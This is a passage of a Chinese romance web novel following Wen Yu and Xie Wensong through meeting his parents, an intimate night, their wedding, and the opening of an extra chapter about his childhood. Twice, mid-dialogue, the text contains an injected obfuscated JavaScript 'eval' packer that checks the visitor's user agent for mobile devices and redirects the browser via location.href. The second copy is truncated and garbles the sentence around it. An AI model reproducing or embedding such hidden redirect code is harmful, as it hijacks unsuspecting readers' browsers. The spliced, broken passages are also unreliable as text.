有时候人和人之间存在的磁场也很奇妙,这种磁场不会随着时间消失而消失,某种程度上,它的存在似乎也能称为一种永恒。 温遇想,自己对谢闻颂父母的好印象,也和这种难以言喻的磁场有关。 有小时候的滤镜在,温遇对乔若琳的印象很好,长大之后见的时候并不多,但她能看见谢闻颂身上的某些东西,有她的影子。 她也不觉得谢闻颂的成长完全没有他们的参与,孩子身上,多多少少也会折射一部分父母的影子。 虽然温遇心底也明白,可真到了要见面的日子,还是会有点紧张。 去见面当日,温遇一个人早早换好衣服,坐在沙发一侧,来来回回捏掌心的肉。 她想着事的时候有个习惯,就是经常一个人坐着重复做一件事。 从小到大,这点都没变过。 还因为这个习惯拔秃了一盆花,直到茎干上所有叶子都落到地上,温遇才恍惚过来自己其实做了错事。 她做的时候完全没觉得。 那后来,温遇习惯把手边的东西挪开,专注于自己身上的东西,比如有时扯衣服上的线头都能扯半天。 这些和她外表看起来差异特别大的小举动,谢闻颂其实都看在眼里。 于是她的习惯,成为他能习惯看出来的东西。 “紧张什么。” 谢闻颂领带都还没打好,甚至衬衫领口还折在贴皮肤的那一侧,就那么走过来坐在她旁边,握住她手腕带到自己腿上,视线在她掐红的掌心反复逡巡,然后啧声。 “干嘛这么欺负我老婆。” 他说完还低头,小心翼翼地吹她手心泛红的位置,气流刮到掌纹上,温遇痒得想蜷起手,谢闻颂没让,箍着她手腕力道不减。 他说:“你真是个坏人。” 温遇被他说得一愣,眼底的茫然丝丝缕缕织起一层雾,“你说什么。” “我说你是个坏人。” 谢闻颂领带两头不一边齐,温遇瞅了半天,心里那股强迫症像涨潮一样上来,不过此时忍着没发作。 “再坏也没有你坏。” 谢闻颂接着揉她刚才掐红的位置,无辜眨眼。 “我再坏,我也不欺负我自己的老婆。” 这人怎么把“老婆”这两个字当逗号使。 温遇简直要被他气笑了。 可她偏偏又说不出什么反驳他的话。 温遇视线落在他脖子两边一长一短的领带,使坏用空出来的那只手给拽成一样长。 “回去你戴什么领带?” 这人之前总是一身休闲装的打扮在她面前晃悠,结婚后冷不丁穿正装出现在她眼前,温遇还得缓缓。 “想着正式一点。”谢闻颂突然正襟危坐,态度立刻严肃起来,还有点试探性地看着她。 “我这么穿,不好看?” 温遇斟酌措辞:“不是不好看,就是太正式了,你之前在家里也这么穿吗?” “之前都我自己一个人在家。” 他这次倒回答很快。 “……” 温遇隔着空气摸到了他一点点外泄的情绪,双手捧起他的脸,试图把他的嘴挤成“3”字形,语气带哄:“要不去换一身吧。” 那就是不好看了。 谢闻颂顿时想把脑袋耷拉下来,只不过被温遇及时托住,他眼里的情绪像被水浸过皱巴巴的纸,她看得心底一阵柔软,忍不住凑过去碰碰他的唇。 “你穿什么都好看。” 于是就这么一句话,某人很快被哄好了。 戴着帽子从门口出来的时候,脸上还带着美滋滋的笑。 温遇看见他朝自己笑,没忍住在心底骂了句。 臭屁。 …… 谢家父母在山水居有一套自己的房子,谢闻颂成年之后就自己搬出来住,回来的时候很少。 由于他们俩的工作原因,大多数时候都在外面休息,原来室外的池子还有鱼,现在看早已经被清理干净。 不过定期有人来打扫,加上屋子里的东西并没多少,所以看起来并不破旧。相反因为居住时间短,房子磨损少,保留原本装修风格的古朴雅致,时间岁月残留在这里,韵味横生。 温遇在门口就被等待了会儿的乔若琳拉进屋子里。 温遇下意识喊了句乔姨,对方哎呦一声,说她现在怎么还这么喊她。 她说,小遇该改口啦。 檐下风铃被吹得叮叮当当响,温遇头发被风拂开,过去的无数个夏天仿佛在此刻横亘在眼前。 温遇注视着眼前女人温柔的脸,喊了声妈。 声音一脱口,她也愣几秒。 想起上一次这样喊,还是徐翩禾手术入院的时候。 乔若琳看出她情绪上的细微变化,握紧她的手:“前几天我和翩禾见过了。” 温遇微微低下头,齿间仿佛有胶粘在一起,后背的脊骨密度不断加大,带着她身上的重量逐渐下沉。 “她说,她想来参加你的婚礼。” 温遇低头轻轻眨眼,直到将浓重的情绪过滤到最清澈的一层才抬头,然后以同样轻微的力道回握住乔若琳的手:“我本来也打算邀请我妈妈的。” 人生大事,父母不到场,多多少少也觉得有些缺憾。 即使发生过那么多不算愉快的事。 乔若琳叹了口气:“她说那天你和她说完之后,她也想了很多,觉得自己以前没有关注你的感受,是她有很大的问题。” 乔若琳没说太多,点到为止即可,温遇已经不在意似的笑笑:“没什么的。” 每次提起过去的事情,不管已经过去多久,温遇感觉心脏那块都有点低气压,仿佛被什么丝丝缕缕缠绕。 其实她已经在过去了,只是某些时候还会想起。 突然,眼前有光出现,那点轻微的压力逐渐抹去。 因为温遇感觉到身边人的动作。 “诶。”谢闻颂给她扒了个橘子,用干净的手背碰碰她的:“挺甜的,吃点。” “妈,你也吃。” 谢闻颂把两个橘子分别放到她们的手里。 黄澄澄的颜色,像太阳。 温遇想起自己对谢闻颂说的那句,我抓到阳光了噢。 现在是真的抓住了。 乔若琳瞅见自家儿子刚刚看似“不礼貌”地打断,了然地低头笑笑。 谢闻颂还出于孩童时期时,她倒没觉得这孩子有这么细腻的一面,多数时候都是专注于做自己的事,心无旁骛,哪怕是家里的事都很少主动掺和。 现在,倒是比以前,变化多了。 心底也有些遗憾,因为工作原因没有亲眼见证他变化的过程。 乔若琳看看儿子,又看看温遇,两个人之间的眼神做不得假,彼此的眼眶里爱意满盈,她搭着温遇的手,意识到什么。 爱会让人改变某种习惯。 也可以让一个人产生一种新的习惯。 …… 饭后,乔若琳把谢闻颂赶出房间,让他和他爸把她前几天订的花拿进来打理一下。 临近退休的年龄,他们身上的担子也逐渐减轻,略微空荡的家里也该逐渐添些有生气的东西。 有盼头的日子总不会太难过。 客厅忙得叮叮当当响,乔若琳看向温遇,话到嘴边明显有些犹豫。 “你和小颂,那方面生活还顺利吧。” “……”温遇没想到乔姨这么直白,饶是她这么淡情绪的人,都差点维持不住脸上的表情。 “我们还没有,那个。” “他有问题?”乔姨讶异,脱口而出。 “…………” 温遇想绷又不太能绷得住,字都是从齿缝里挤出来的,“没有。” 温遇还是不能面无表情和长辈聊这方面的事,好在乔若琳也看出她的不自在,及时把话题止住在这儿。 不过这还是给温遇造成了巨大的冲击,以至于她临走的时候,还对着门口一排不会说话的盆栽发呆。 她蹲在青石板上看叶子的脉络,谢闻颂不问缘由,也在旁边和她一起看。 怕她腿麻,还给她搬把小凳子。 路途运输的花朵刚拆掉玻璃纸外包装,花朵还有些打团儿没醒开,温遇伸手碰了碰花瓣,倒也不妨碍她感受到的柔软。 她刚碰完,谢闻颂也抬手碰她刚碰过的位置。 很幼稚,很学人的举动。 可就是那么会让人的心放软一次又一次。 原来爱人的存在,就是让你在做哪怕是生活中最不起眼的小事,也不会感觉孤单。 …… 温遇坐进车里,下意识扣好安全带,手机搁在斜挎包里,她正准备拉开拉锁去拿。 刚把手机解锁,她敏锐听见旁边在放视频的声音,里面医生的话零帧起手—— “男性性生活存在障碍的原因是什么……” “……!!!” 温遇扭头,瞳孔地震:“你在看什么。” 谢闻颂比她淡定,声音没调小,只是返回上一个界面,把手机屏幕上的内容给温遇看。 赫然显示对面的五六个视频链接是乔若琳刚刚给他发的。 妈:那个啥,儿子,你多看看。 妈:尤其是正确清洗那个,太重要了。 下面巴拉巴拉还有好几条,可是温遇已经转过头。 “……” 谢闻颂挺淡定地收起手机,不过语气明显没有他外表看上去的那么平静,气笑的声音发出比说话更早。 “温鱼鱼,你们刚才到底聊什么了?” “其他倒没什么,把性生活障碍放在第一条……”谢闻颂表情看上去有点勉强:“你也是这么认为的?” “我什么都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15172926|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”温遇往两边摊手,“乔姨问我的时候,我可没说你有问题。” “至于有没有问题。”温遇拉长语调,感觉到谢闻颂的目光已经有所改变,知道他在想什么,胸有成竹似的迎上他的目光,“我不知道。” “……” 四目相对,谢闻颂还是最先往后迈步的那一个。 怎么有人放狠话都可爱。 谢闻颂对她这幅模样真的一点硬气不起来,伸手把她头发揉乱:“温鱼鱼,你给我等着。” 发丝被他揉乱遮挡在眼前,温遇隔着模糊盯住落在他唇角的光,默默垂下视线。 - 他们婚礼之前,谢闻颂临时有一次出差,温遇刚知道的时候平静噢了声,实则内心在盘算自己的小九九。 一周的时间,也足够她做很多事。 某人离家的第一天,她坐在沙发上看剧,核桃不知从哪儿叼来一个兔耳发箍。 温遇从它嘴里拿过来,发现正是之前用过的那个。 上次结束后,她也不知道谢闻颂给收哪儿了,要不是核桃今天找出来,温遇甚至要都忘了还有这么个东西。 质感超级好的兔耳躺在她手心。 温遇摸摸自己什么都没戴的头顶。 然后发现。 他好像对她是兔子这件事,挺执着。 谢闻颂飞回南川那天是周五,原本晚上还有合作方邀请的一顿饭,被他暂时推掉,说今天不太方便。 一天以上的分别就让他足够想念的了,更别说是一周。 简直要命。 某人戒指走哪带到哪,合作方也是人精,见他这么年轻就已经结婚,起初并没太把他放在心上。 没想到合同上的小心思转头就被谢闻颂揪出来,事情走到这步,谢闻颂也没吝啬搬出自己的筹码。 他不介意自己被低估什么,毕竟这个世界上从不缺优秀的人。 群英荟萃,他只是其中忽明忽暗的一点。 只是他该得到的,一分也不能少。 对方到这,开始认真回视这个过分年轻的男人,无声的博弈间,最终选择拿出那份对等的诚意。 合作仍能维持,谢闻颂没太计较对方一开始对自己的态度。 只是拒掉临行前一晚的那顿饭。 与合作无关,因为他着急回去见温遇。 其实当时在办公桌两侧,他平视对面的人时,隐隐约约看见温遇站在那。 谢闻颂知道这是自己的幻觉,却还是没忍住沉浸进去,放在腿上的指尖动动,还是想去触碰她。 她好像只是在那里笑,他就没什么可退缩的。 虽然他本质也不是懦弱的人,可还是觉得。 有她在的感觉,真的很好很好。 合作结束,谢闻颂不打算不浪费时间,直接选择一趟时间点并不算好的航班。 落地南川国际机场已经迫近零点,谢闻颂一路顺畅回到家,外套因为奔波已经浅浅铺了层冷气。 猫狗各自窝在自己的小小领地,谢闻颂动作很轻先看温遇,卧室床头灯被他调到最暗的那一格。 温遇把自己裹紧被子里,只露个小脑袋在外面,谢闻颂没用刚洗完冰冷的手碰她,看了她一会儿,就去拿自己的衣服直奔浴室。 临离开卧室,他顺手把门带上,怕浴室的水声吵醒温遇。 洗了澡后,谢闻颂也没用吹风机吹头发,只是用厚毛巾来回吸头发上的水。 当他重新推开卧室门的时候,温遇已经坐在床头,边揉眼睛边看他:“你什么时候回来的?” “没多久。”谢闻颂隔着被子坐在床边,伸手去摸她的头:“吵醒你了?” “没有吵醒我。”温遇抿抿干涩的唇,眼神不明看他。 还好她订了个闹钟,不然估计等着等着,肯定就直接睡过去了。 “我不是和你说下飞机了告诉我一声嘛。” 谢闻颂不了解她的心思,以为这只是她被吵醒而生的起床气。 “我的错。” 温遇笑了声隔着被子屈起腿,往他面前凑:“所以我得给你个惩罚。” 她下巴往床对面的一把单人的懒人沙发抬抬:“你去坐那儿。” 谢闻颂瞅着她面上的得意,无条件配合她搞花样,趿拉拖鞋过去,懒散倚在柔软的沙发上,眼神问她想做什么。 “你闭上眼睛,我说睁开你再睁开。” 谢闻颂乖乖照做。 他听见抽屉拉开又关上,也听见布料摩擦的窸窣声,谢闻颂敏锐察觉到什么,稍微挺直了点背。 温遇曲起一条腿,膝盖放在他双腿之间往前缓慢挪,谢闻颂明显感觉到,低头的瞬间喉结来回滚动好几下。 “睁开吧。” 谢闻颂微仰起头才能看清温遇的脸。 看清的那一刻眼神就深下去。 温遇披着头发,头顶是那个熟悉的兔耳朵发箍,谢闻颂当然看出来这是他之前买的—— 因为当时看见的第一眼,就觉得很像温遇。 视线寸寸下落,温遇长袖睡衣的纽扣已经全部从前面解开,她贴身穿的是别的衣服。 薄薄的一层蕾丝纱紧贴她白皙的皮肤,伴随呼吸起伏明显,蕾丝在轻微晃动。谢闻颂没再往下看,颇有兴致地盯起她脖子上毛绒绒的一圈:“这是什么?” 那是她买衣服送的装饰,温遇穿里面的衣服时,随手给套上了。 “不知道。” 谢闻颂不明所以地笑,手已经揽在她身后牢牢护住,防止温遇摔下去。 谢闻颂看见她抵在他腿侧的膝盖,被白色丝袜包裹,磨他的睡裤都能起细小的电流。 “今天这是什么打扮?这么漂亮。” “今天不当温鱼鱼了。”温遇双手搭在他肩膀,低头碰碰他的嘴唇:“今天想当温兔兔。” “……” 后半句话直接让谢闻颂呼吸急促了好几个度。 他克制地去贴她的唇。 “宝宝,家里没套。” 温遇顿了下,红着脸说:“床头柜里有。” “……买衣服的时候凑单一起买的。” 声音小到像在说自己在做什么错事。 连头上的兔耳都耷拉下来。 谢闻颂低低地笑,手指拨弄开她长袖睡衣的领口:“我上哪儿找这么可爱的温兔兔同学。” “所以你得珍惜我啊。” 温遇声音柔软。 这样暧昧的氛围里,谢闻颂听见她这句话,还是没忍住哽了下:“嗯。” 彼此滚烫的气息交融间,谢闻颂把剩下半句话藏在心里。 嗯,珍惜一辈子。 75.小熊 75/ 婚礼前一周,谢闻颂和温遇从余杭把唐熹接回南川,老人家腿脚不如从前利索,谢闻颂专门找了一处离他们住的不远的地点安置。 对待温遇这边的一切,他都是花了很多心思去准备的。 唐熹腿脚不便,他还专门雇了一位阿姨去照顾,老人家执着于亲眼见到自家孙女走向幸福,说什么也要来。 碰巧这段时间唐熹的腿疼还较往常加重许多,可这事没瞒过温遇。 温遇因为这事还悄悄躲在被窝里掉过眼泪,谢闻颂一起和她躲在被窝里,她流多少眼泪,他就给她擦过多少次。 没像往常用边打趣边安慰这一套流程将人哄好,他什么也没说,只是默默守在她身边。 心里的那场难以捱过的雨天,这次谢闻颂不想做那个在她身后撑伞的人。 他想陪她一起淋雨。 共同捱过这场潮湿。 唐熹前几年摔过一次后身体一直没养得特别好,温遇常住南川,虽然每逢假期也会定点往余杭跑,可终究次数和陪伴的时间还是太少。 这次老人的执着像是一条导火线,点燃温遇心底处最深的担心。 谢闻颂又何尝不会懂她的眼泪代表着什么。 难以割舍的血脉亲情就像一根紧紧绷着的弦,上面任何一个人出了点意外,其他人都不会独善其身。 心心相系,心心相牵。 更何况是从小照顾她到大的唐熹。 所以当他们准备打算接唐熹过来之前,谢闻颂就已经做足准备,为了让温遇心情好一些,有关唐熹的事,都是他们一起规划的。 他盯着温遇专心计划的模样,在想也许这样能帮她从情绪中抽离出来。 他总是不想让温遇一个人背负太多情绪。 以前不想,现在也不想。 他觉得这种事也不是付诸于口可以用语言去减轻什么。 只有埋头在这件事上,才能真正踏实下来。 去机场接唐熹那天,努力做了一晚上心里准备的温遇,还是没忍住在回到家里后流眼泪。 唐熹女士拿出以前严肃对待学生那套对她,却又不忍把语气加重,于是倒显得色厉内荏起来:“你这孩子,哭什么哭。” 温遇又把眼泪憋回去,结果唐熹女士盯着她开始后悔,老人家疑惑地挠挠后脑勺:“我刚才话说重了?” 这一句话,屋里的三个人同时笑出声。 谢闻颂找的小宅院,大小合适设施齐全,有棱角的家具裹上防撞角,浴室这种爱打滑的地方也贴心装了扶手,除此之外,他还雇了位阿姨来照顾唐熹。 唐熹女士原本知道后还严词拒绝,结果被温遇拎出来那件瞒着她的事出来,她才没继续持反对意见。 三个人慢悠悠吃了顿饭,谢闻颂把这里他做的一些小巧思讲给她们听,暮色西沉天色渐暗,温遇还不舍得走。 谢闻颂就坐在她旁边,感受到窗外透进来柔和舒服的晚风,温遇的发丝被吹到他的手上。 有的痒痒的。 “你要是喜欢,可以在这边住。” 温遇愣了下看向他:“那你呢?” 风中似乎隐隐约约还能听见蝉鸣声,谢闻颂垂落的目光分外柔和。 柔和到胜过那夜月光。 “我等着娶你啊。” 花瓣落在水面上,本应寂静无声,可是掀起的涟漪有多大—— 只有水知道。 - 婚礼地点定在珀屿湾,温遇和谢闻颂两个人一起操办,只邀请了一些熟悉的亲朋好友来参加。 请柬每一份也是他们亲自设计的款式,上面的名字是谢闻颂拿毛笔一字一字手写上去的,而包装请柬外面的蝴蝶结就交给温遇来系。 在统计宾客名单的时候,温遇把陆繁笙加进去,谢闻颂看见没说什么,显然是没什么意见。 请柬给出的没几天,陆繁笙给温遇发消息,说陆星桓看见她寄给她的请柬,问你是不是要结婚了。 还说他可不可以来,和季霖菲一起。 温遇稍微愣了下。 紧接着,她碰碰旁边谢闻颂的肩膀:“诶,谢闻颂。” 对方扭头,温遇抿唇,把手机屏幕上的内容展示给他看。 谢闻颂的目光以极快速度扫过屏幕上的几行字,睫毛投射的阴影像一道迅捷的光钻进瞳孔,然后消失不见。 仿佛什么情绪也没有。 “可以啊。” “他来我就邀请。” 谢闻颂说完就重新垂下头,用指尖捏着手机转圈。 下意识的小动作总是会出卖情绪。 虽然他装得很好,但是温遇还是嗅出了一点不同寻常的气息。 “你不会还在介意吧?” “……”谢闻颂鼻息略微加重,颇为无奈地看她一眼,“都是过去的事了。” 温遇若有所思地点头,结果旁边某人又开始出声。 “我其实,吃过醋的。” 谢闻颂顺势倚在她肩头,“而且真的挺酸的。” “……” 温遇唇角抿平。 原来刚才的嘴硬都是装的。 可是怎么感觉。 有些可爱在里面。 温遇抬起被他倚着的那侧手臂,掌心摸摸他的脸。 “吃醋才是正常的呀。” “因为你对我有占有欲,所以会在乎我当时心里面在想着谁。” “要是你不吃醋才怪呢。” “而且。”温遇斟酌道,双手扶起他,让谢闻颂软绵绵抵在她肩膀上的脑袋重新扬起。 她眼神若有所思瞅他:“你好像也不是在感情上如此大度的人呐。” “……” 谢闻颂轻轻嘶了声。 怎么感觉这个话不像在夸他呢。 他再抬起头时,眼里刻意蒙了层别样的情绪,丝丝缕缕的雾气上浮,虚拢着惯常装在他骨子里的可怜样。 “我不想大度。” 温遇像哄小孩似的哄他:“好,那就不大度。” “我想吃醋。” “好,你吃。” 温遇摸摸他腮帮,好奇地来回瞅瞅他两侧的面颊:“不过老吃酸的,牙不疼吗?” 她的掌心柔软贴在他脸上,谢闻颂什么脾气都没了,刚才那一丁点的不自在也早就在她凑上来的一瞬间无影无踪。 他其实真的很好哄。 只要温遇在他的视野里朝他走近一小步。 他就会被哄好。 视线会在狭窄的空间中情绪外泄,温遇望向他的眼神温和透亮,曾经他努力追逐的,想要成为她目光中最闪烁的那个人,现在终于实现了。 她离得很近,她好像真的在关心他的牙疼不疼。 谢闻颂把刚才流露的可怜样收敛大半,目光炯炯地盯住眼前的人,像铺在水上的火焰,浅浅燎起一层无法忽视的热度。 温遇自然注意到他眼神的变化,只是不知道她说什么又让他起反应了。 这人…… 指定是有什么毛病在身上。 自上次那晚之后,他们在某方面的生活真的很和谐,太累的时候温遇一下也不爱动,对方对她这样乐见其成,从头到尾被服侍完全。在这方面,温遇总觉得他是上哪里进修过。 不然怎么和小说里写的不一样。 她每天起床都没什么明显的感觉,和往常的每个日子一样,洗完漱后早餐已经整齐摆在桌子上。 温遇觉得她精神已经挺好,可看见某人神采奕奕穿着围裙从厨房出来还是忍不住自惭形秽。 这人身体里装的是鸡血吧。 怎么这么有动力。 过分卡通的围裙不太适合谢闻颂,可温遇瞧着只剩下可爱。 他的存在,对于温遇来说,仿佛泡在春溪里的干燥海绵,柔和的水一点点浸入每个孔腔里面,任凭太阳曝晒,不怕蒸发,也不怕水流消逝。 他在填补她的生活。 用每个稀松平常的瞬间,告诉她不会再孤单。 下午的柔光从窗外铺进来,温遇思绪回到现在,想起刚才问他老吃醋会不会牙疼这件事。 谢闻颂努努嘴:“牙不疼,但我今天不想吃酸的。” 谢闻颂从她肩窝的位置靠过去,侧头做咬耳朵的动作。 呼气的热气窜在耳边,温遇听见他说。 “今天想吃点甜的。” “老婆。” “……” “是谁之前说白日宣淫不好的?” “不是我。” 谢闻颂笑得肩膀都在颤。 “对,不是你。” “是狗。” “汪。” “……” - 婚礼前一周,温遇都和唐熹待在一块,谢闻颂每天晚上回来和她们一起吃饭,敲定婚礼上的最后小细节。 布景的那几天,他俩一起去珀屿湾盯现场的场地布置,那边有一小块沙滩,浪花打在沙滩边沿,能很清晰听清水浪的声音。 温遇挺喜欢看海,谢闻颂知道,只不过南川不靠海,唯一能和水有联系的地点只有珀屿湾。 这也是把珀屿湾定成举办婚礼位置的原因。 今天婚礼场景每天布置基本完成,他们看完确认没问题以后,谢闻颂问她要不要沿着水浪的周围走一圈。 婚礼之前,这一小片沙滩都被谢闻颂包下,暮色是层天然滤镜,眼前的景致美得像画卷。 温遇扶住耳边的头发,低头看看自己的白色洞洞鞋,抬眸看他:“突然有点想光脚踩在沙滩上。” 谢闻颂用指腹蹭掉她脸上的小绒毛,声音柔和但拒绝:“不行,沙滩上有石头,会划伤你的脚。” 温遇想想也是这样,低头时噢了声。 下一秒,某人背对着她一点点矮下身,单薄的衣料被风吹紧紧贴在脊背上,这个动作有些眼熟,温遇稍微愣了下。 十八岁的成人礼,他蹲下为她换下高跟鞋,亲手捉住被风掀起的裙角。 工作后受了委屈,她在高楼旁边的公共座椅上思考人生,他变戏法似的出现,蹲下说我是给你撑腰来了。 他们一起重回曲珩山,他说要背她,就真的带着公主冲向山顶。 谢闻颂在她面前没有骄傲。 他每一次矮下身,都是为了她。 过去的回忆很快闪过,温遇眼睛聚焦到此刻再次在她面前矮下身的人。 谢闻颂回头,眼神往肩膀处带了下:“你可以光脚,前提是我背着你,你不能下来。” 温遇双手从谢闻颂的两侧肩膀上穿过去,他相当轻松地背上她,一双白色的洞洞鞋被搁在沙滩边沿。 刚才的回忆堆积在心头,有点发酸。 温遇默默把脸埋在他颈窝,日落光一部分扫到水光粼粼,另一部分将他们旖旎的阴影烙在岸边。 “谢闻颂。” 她小声喊他的名字。 “我在。” “我们马上,要结婚了诶。” 谢闻颂被她这句话弄得笑出声,嗓子眼仿佛有什么东西在挠,痒痒的:“你刚反应过来啊。” “嗯,我迟钝又不是一天两天了。”温遇自我调侃后话题忽转:“要不然,也等不到你告诉我你喜欢我这件事。” 温遇说后半句话时,努力语气控制着没变,可还是被谢闻颂听出端倪。 这又在和自己较劲呢。 “我傲娇着呢,我没说之前,是不会让你提前察觉到的。”谢闻颂把这事说得挺骄傲,实则是在一点点磨消掉她心里的想法:“这是我要达成的目的,哪儿能是你迟钝?” 温遇弯起唇角。 她知道,他们能有今天走到现在的关系,过去的种种问题,关于谁先喜欢上谁,谁在这段感情中来得晚一些,这些问题都变得不再重要。 她默默垂眼,实则因为被眼前这个人一次次用真诚感化而不断放软那颗被晶体包裹的心脏。 有时候温遇自己还没摸清情绪变化,他就已经来把她那一点情绪迅速吸走。 他真的很了解她。 他真的也很在用心了解她。 温遇每每意识到这点,都会再在内心里重复一遍—— 谢闻颂,你真的很好。 “谢闻颂,你真的很好。” 心里怎么想的,温遇就怎么说出口的。 她窝在他肩膀,声音发闷。 “嗯,看来我挺好的。”谢闻颂很轻笑出声:“要不然也得不到公主这么高的评价。” 温遇没说话,手指在他肩膀上画圈,没像往常一样和他斗嘴,感喟:“确实挺好的。” “以前和你当朋友的时候,你也顺着我。” “嗯,光看见你站在那就忍不住靠近,怎么对你摆脸子。” “哪次咱俩拌嘴最后不是我先低头?”谢闻颂又开始臭屁:“我都快被我自己感动了。” 温遇声音仍旧很闷,却憋不住笑意:“夸你两句你就飘了。” “有你在,我不会飘起来的。” 他语气坚定。 “因为我只想和你一起落地。” 这人。 怎么跟讨厌鬼一样。 一会让她感动一会招她烦的。 都快给她整人格分裂了。 温遇安心趴在他的背上,慢悠悠说了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢闻颂用自己的手搓热她的手,小动作出卖他的心理,不过他倒也没打算藏,只是喉间声音艰涩:“嗯。” 温遇无言面对着他,上一次见到他这么紧张还是领证前一天晚上。 她发现,谢闻颂好像只有面对和她有关的事,才会紧张成这样。 温遇心尖涌上些难言的滞涩感,被他刚刚搓热的手主动握住他,耐心喊他名字:“谢闻颂。” 他抬头。 “还记得你和我说的吗?孤独的时候,把自己想象成罗马,世界的中心已经是你,所以不管走哪条路,都是光明灿烂的。” “这次。”温遇坚定看向他:“我在罗马等你。” 女孩的发尾轻轻扫过他的脸:“谢闻颂,我们明天见。” …… 婚礼在傍晚时分举行,温遇不用睡不醒就得起来化妆,完全可以睡足精力慢慢准备。 这几天南川的天气都很好,白日晴天,傍晚夕霞,谢闻颂原本还挺担心这个时候忽然下雨,结果当天他从上午看到下午,天空都没有乌云聚集,这才放下心。 温遇坐在化妆室,放在梳妆台的手机一直在响,化妆师正在给她上妆,听见声音动作停下,问用不用先暂停,温遇瞄了眼刚刚亮起的手机屏幕,笑着说不用。 怎么会有人一天发五十张照片给她? 温遇眼神低垂笑出声,将手机重新搁回桌子上,手心隐隐有些冒汗。 化过妆后,徐翩禾和温成钢领着温途进来,四个人说了会话,没聊过去不愉快的事。温途笑着抱住温遇的胳膊不松开,交谈间气氛还算和谐。 有工作人员进来通知婚礼的时间快要开始,他们才退出去,独留温遇一个人坐在那儿。 一直疾行的时间在此刻放慢又放慢,温遇低头,用指尖轻轻搓婚纱上的小花。 她完全在发呆,什么都没想,将整个人空下来。 “咚咚——” 化妆室的门被敲响,温遇下意识看向门的位置:“谁?” “我。”谢闻颂的声音。 温遇攥紧手,说话竟结巴起来:“你,你要进来吗?” “我不进去。” 紧接着,门板发出闷声,谢闻颂背靠在门外,说话掷地有声,每个字都落地:“就是想来陪陪你。” 温遇其实听到他这一句话眼角就已经开始发酸,不过她这个时候肯定不能哭,只能紧绷着喉收拢情绪,吐出一个字:“噢。” “这么冷漠啊老婆。”某人双手插兜倚在门外,脸贴近门的一侧,笑了声:“不过这样也挺好,公主得有公主的骄傲,结婚了之后也得有。” “这才是你。” 温遇低头沉默,手指轻轻蹭了下眼角。 “你不去内场没事吗?” “都安顿好了,我就是想来和你说说话。” “那现在说完了——” “温遇。”谢闻颂没像往常喊她“温鱼鱼”,而是认真喊起她的大名。 他深吸一口气。 “下次,下下次。” “还是我先喜欢你。” “你信不信,你肯定抢不过我的。” …… 唐熹牵着温遇从一侧尽头走过来,花童从两侧挥舞天使棒,质感细腻的花瓣落在她身上的白纱,一直到温遇走到谢闻颂面前。 唐熹慈爱地看向温遇,在将她的手放在谢闻颂掌心以前,低头爱怜吻吻她的手背。 温遇在她做这个动作的时候眼泪就已经绷不住了,她吸吸鼻子,和外婆抱在一起。 唐熹安抚地拍着她的背,像曾经无数次哄睡她一般轻柔:“好孩子,好好的。” 她把温遇的手放在谢闻颂的掌心,他们面对面站立,她看见谢闻颂在朝自己笑。 时间再次被调慢。 最初心动的时候,他们哪里会懂“一生”的郑重和含义。 只知道要一直往前走,才有机会去实现内心的那个目标。 幸福的终点,原来是起点。 自然光经白纱空隙过滤,眼前的绰绰光影都显得动人万分。 温遇隔着头纱望向对面的人,这次她内心的话也在心底逐帧放慢。 “谢闻颂。” “我在。” 温遇弯起唇角。 庆幸的是,我们在相爱的路上都曾为对方披荆执锐斩断荆棘,用那双勇敢过的手继续掌灯。 此刻,我望向你—— 我们就是一生。 【正文完】 76.谢闻颂[番外] 番外: 76/ “谢闻颂是胆小鬼。” 这是他小时候最常对自己说的一句话。 不过只有他自己对自己说可以,别人说当然不行。 比如幼儿园的时候,外面突然下起大雨,雷声震天响,谢闻颂习惯性地搬一把椅子坐在教室的最角落,闪电一道白光劈在地面上,他装作看不见,低头不断向下吞咽口水,试图通过重复单一的动作来减轻压力。 外面雷声和雨声渐渐消失,他仍旧坐在最角落的位置,有人过来拍他,问他一个人躲在这是不是怕了。 怕雷雨天。 被点出来好丢人的感觉。 他才不要承认。 谢闻颂除了脸有点发白,别的情绪根本不让人摸到,瞥下句没有就继续低下头。 小朋友自讨没趣,拿起自己的东西离开。 外面雷声和雨声渐渐消失,老师把窗户打开,空气里吞吐着湿润,光线隐隐穿透云层,他趴到窗户边盯檐下滴雨水,这才感觉好一点。 别的小朋友都在屋里做游戏,他想的是,温遇有没有背着他在医院里偷偷哭。 这个妹妹太爱生病了,三天两头住医院,幼儿园也没上过几天。 虽然。 他也不想上幼儿园。 这么说来,似乎还有点羡慕她。 除了这点,他还有一点羡慕她—— 她不怕雷雨天。 谢闻颂对雷声很敏感,南川四季还算分明,每逢夏天梅雨季,他都有一小段难捱的时光。 也许是隐隐约约感觉到父母工作特殊的原因,谢闻颂小小的人有很大的想法,决定早早在一些事上独立起来,逐渐脱离骨子里小孩对父母的高度依赖性。 记事开始,谢闻颂便搬回自己的小屋里一个人睡,房间里的东西少得可怜,他不爱玩具不爱吃零食,不爱一切受同年龄小孩喜欢的东西。 每次乔若琳领着他去商场买东西,他总是摇头,说自己什么也不要。 小小年纪的他并非口不对心,事实上,他也的确不对这些东西感兴趣。 看向其他孩子死死扯着父母的手,哭闹着要橱窗里精致的娃娃或是炫酷的机甲时,谢闻颂还在自豪地想—— 他终于要成为一个独立的“大”人了。 然而他却很快将这个自豪的念头磨消掉一半。 有雷声的夜晚,成为他眼前路上最大的一颗绊脚石。 闪电光劈开窗帘砸在他眼前,他就换一个更厚的窗帘,可是始终挡不住的,是雷声。 